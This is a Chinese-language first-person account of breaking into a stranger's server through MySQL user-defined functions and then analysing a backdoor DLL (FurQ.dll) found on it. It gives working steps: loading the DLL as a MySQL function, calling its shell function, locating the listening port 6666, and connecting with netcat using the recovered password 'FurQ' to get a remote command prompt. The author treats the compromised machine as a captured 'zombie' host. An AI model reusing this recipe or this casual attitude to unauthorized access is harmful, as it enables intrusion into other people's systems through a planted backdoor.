5月13日凌晨,筆者在網上測試MySQL的Fun漏洞(其實不能說是漏洞,只能說是一個技術而已),用MySQL Fun攻克了一台Xeon的主機,進去之後,自學教程,本想做點測試,卻偶然發現這台主機的C:\下有一個叫FurQ.Dll的東西,28K大小。當時感覺和筆者用的程序非常相似,於是就將這個FurQ.DLL放到IIS目錄裡下到本機裡,用W32DSM進行反匯編。 首先,用W32DSM打開這個DLL。點開函數菜單分析輸入和輸出的函數,發現輸入的函數中包括WS2_32函數以及接受\監聽\綁定等函數,而輸出的函數只有一個Shell函數。分析完這些,筆者當時判斷這個程序應該是連接網絡的,於是就再分析字符參考,發現了一個很經典的字符:COMSPEC。到了此時,情況已經比較明朗了,這個程序有調用CMD.EXE執行程序的能力。不過,這個程序到底是在MySQL中還是Shell中執行呢?為了搞清這個問題,筆者進行了接下來的測試。 首先在mysql裡執行: use mysql; create function Shell Returns integer soname 'c:\FurQ.dll'; (函數Shell指的是FurQ.DLL裡的Shell函數,否則創建失敗) 返回函數創建成功了。馬上測試函數: select shell('echo kevin >c:\z.txt'); select shell('/c echo kevin >>c:\z.txt'); select shell('cmd.exe /c echo kevin >c:\z.txt'); 在這裡,測試的目的是驗證COMSPEC是否在MySQL中執行,然後: select load_file('c:\z.txt'); 返回NULL,說明z.txt沒生成。看來不是執行在MySQL中的。此時,筆者想到這個程序設置了監聽端口,那麼會不會是在TCP端口中執行?在W32DSM裡找到有.bind方式的地方,發現上面顯示了跳轉,馬上用OllYDBG打開這個DLL並且用LoadDLL載入,然後Ctrl G跳到這個跳轉。跟蹤了半天毫無結果,看來“人工”的方式不行阿,還是到“肉機”上測試。 在xeon上執行“select shell();”同樣返回NULL,但這時候筆者打開Taskmgr,發現MySQL的進程占用特別大,使用: netstat -ano (win2k3的機器,有o參數) 返回進程ID 用tasklist|find "mysql" 列舉進程,發現PID為6012 用netstat -ano|find "6012" 列舉MySQL進程所開的端口,發現除了3306以外還有一個6666端口開放。初步估計這就是那個函數所產生的端口。為了驗證,在本機執行: nc -v IP 6666 然後連接成功了,輸入ver看看是不是執行命令,返回ACCESS DENIED,有限制。去W32DSM裡查看,果然包含這個函數,看來需要先進行破解。根據筆者的經驗,如果是我做的這樣一個後門 Shell程序,一定不會想到加密,應該就是設置一個密碼,比如用VB寫一行: if pwd="123" then call execshell else call failed 開始跟蹤。進入這個字串的位置,一般會有一個test來比較,於是向上,發現一個跳轉,然後在OllyDBG裡進入這個跳轉,5自學網,邊上的分析框中顯示著ASCII "FurQ",原來密碼就是FurQ。實驗一下: nc ip 6666 FurQ C:\Mysql\data> 分析結束,准備將FurQ.DLL樣本發送給朋友,結果文件傳到一半被“卡巴斯基”干掉,而其它機器上的McAfee和PC-cillin也都作出了動作,但也有很多殺毒軟件是“視而不見”,由此筆者推測這個病毒可能利用了某些尚未正式公布的“新技術”,希望有關專業廠商能引起注意。 作者注:個人感覺文章寫得不夠專業,更多的是過程描述和主觀推測,謬誤之處還請專家們指出。不過,由於此病毒確實在很多殺毒軟件中存在“漏報”現象,我還是希望專業人士們能對其作出更為詳盡和深層的分析,我這篇小短文就算是“拋磚引玉”。